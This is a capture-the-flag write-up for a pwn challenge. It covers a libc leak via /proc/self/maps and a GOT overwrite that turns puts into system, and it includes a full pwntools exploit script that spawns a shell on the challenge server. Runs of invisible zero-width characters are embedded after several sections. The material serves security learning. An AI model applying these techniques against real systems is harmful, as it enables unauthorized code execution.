← Back to Writeups
CUSTOMMediumpwn

pwn5_www2

XESXOR9/2/20263 min read
#pwn#custom#medium#constructor_libc_leak#got_overwrite#proc_self_maps_parse#puts_to_system#write_what_where#linux

pwn5_www2

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: constructor_libc_leak, got_overwrite, proc_self_maps_parse, puts_to_system, write_what_where

Summary

Task: NON-PIE x86-64 binary with stack canary, a custom .init_array constructor that prints /proc/self/maps (free libc leak) before main, and an 8-byte write-what-where (raw value + decimal strtol address). Solution: parse libc base from the startup maps dump, overwrite puts@GOT with system via the WWW primitive, then feed '/bin/sh' to the buffer so the later puts(rbp) becomes system('/bin/sh').

pwn5_www2 — pwn_spbctf

Description

Пришло время для перезаписи 2.

(English: "Time for an overwrite 2.")

A "Mic Check" / warmup-tier pwn challenge in the www (write-what-where) family. We are given www2.elf and libc.so.6 (glibc 2.31). Remote: nc 109.233.56.90 11656. Goal: get a shell and read /flag. Author: George Zaytsev (@groke).

Analysis

Binary properties:

  • NON-PIE (base 0x400000), NX, Partial RELRO, stack canary, not stripped.
  • PLT imports: open, printf, puts, read, strtol, setvbuf — no system imported. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The crux — a libc leak from a constructor, BEFORE main

.init_array is [frame_dummy, bufinit]. The extra constructor bufinit @0x401100 sets up buffering (setvbuf) and then jmp drop_address @0x401350. drop_address runs before main and does:

c
fd = open("/proc/self/maps", 0);   // string @0x402033
read(fd, buf, 0x1000);
puts(buf);                          // prints the ENTIRE memory map

So the program hands us /proc/self/maps — including the libc base address — for free at startup. No looping, no in-band leak, no canary leak needed for the libc base. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main and the write primitive

main @0x4010a0:

c
canary = ...;
write_prim();
puts("Ok, enter your data:");
read(0, rbp, 0x20);     // attacker-controlled buffer
puts(rbp);              // <-- prints back our buffer
// canary check; ret

write_prim @0x401290 — an 8-byte write-what-where:

c
printf("Enter data(8 bytes): ");
read(0, &value, 8);                 // VALUE: 8 raw bytes -> send p64(target)
printf("Enter address(decimal): ");
// reads bytes until '\n' into a buffer
addr = strtol(buf, NULL, 10);       // ADDRESS: DECIMAL ASCII string
*(long*)addr = value;               // mov [rax], rdx  -> arbitrary 8-byte write

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

puts@GOT = 0x404018 = decimal 4210712.

Solution

Single pass, no looping required:

  1. Leak: parse the startup /proc/self/maps dump; take the lowest mapping containing libc as the libc base. system = base + 0x55410.
  2. WWW: in write_prim, send value = p64(system) (8 raw bytes) and address = "4210712" (puts@GOT in decimal). This sets puts@GOT = system.
  3. Back in main, puts("Ok, enter your data:") is now system("Ok, enter your data:") — harmless (sh: Ok,: not found).
  4. read(0, rbp, 0x20): send "/bin/sh\0".
  5. The final puts(rbp) is now system("/bin/sh") → shell. cat /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why GOT and not the return address: the stack canary blocks a stack smash, so we pivot through the GOT instead of overwriting a saved RIP.

Example values this run: libc base 0x7a869a011000, system 0x7a869a066410.

python
#!/usr/bin/env python3
from pwn import *
import re, time

context.arch = 'amd64'
exe  = ELF('./www2.elf', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
HOST, PORT = '109.233.56.90', 11656

def parse_libc_base(maps_text):
    base = None
    for line in maps_text.splitlines():
        if b'libc' in line:
            start = int(line.split(b'-')[0], 16)
            base = start if base is None else min(base, start)
    return base
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def pwn():
    io = remote(HOST, PORT)
    # startup drop_address(): open("/proc/self/maps"); read; puts(buf)
    data = io.recvuntil(b'Enter data(8 bytes): ', timeout=20)
    libc.address = parse_libc_base(data)
    system = libc.symbols['system']
    log.success(f'libc base = {hex(libc.address)}  system = {hex(system)}')

    puts_got = exe.got['puts']          # 0x404018 == 4210712

    # write_prim: 8-byte VALUE = system, DECIMAL ADDRESS = puts@GOT
    io.send(p64(system))
    io.recvuntil(b'Enter address(decimal): ', timeout=10)
    io.send(str(puts_got).encode() + b'\n')   # *(long*)puts_got = system
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # main: puts("Ok,...")==system(...) harmless; read(0,rbp,0x20); puts(rbp)
    time.sleep(0.5)
    io.send(b'/bin/sh\x00\n')                  # buffer passed to puts == system
    time.sleep(0.5)

    io.sendline(b'cat /flag* 2>/dev/null; id')
    out = io.recvrepeat(3)
    print(out.decode(errors='replace'))
    m = re.search(rb'spbctf\{[^}]*\}', out)
    if m:
        log.success('FLAG: ' + m.group().decode())
    io.interactive()

pwn()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍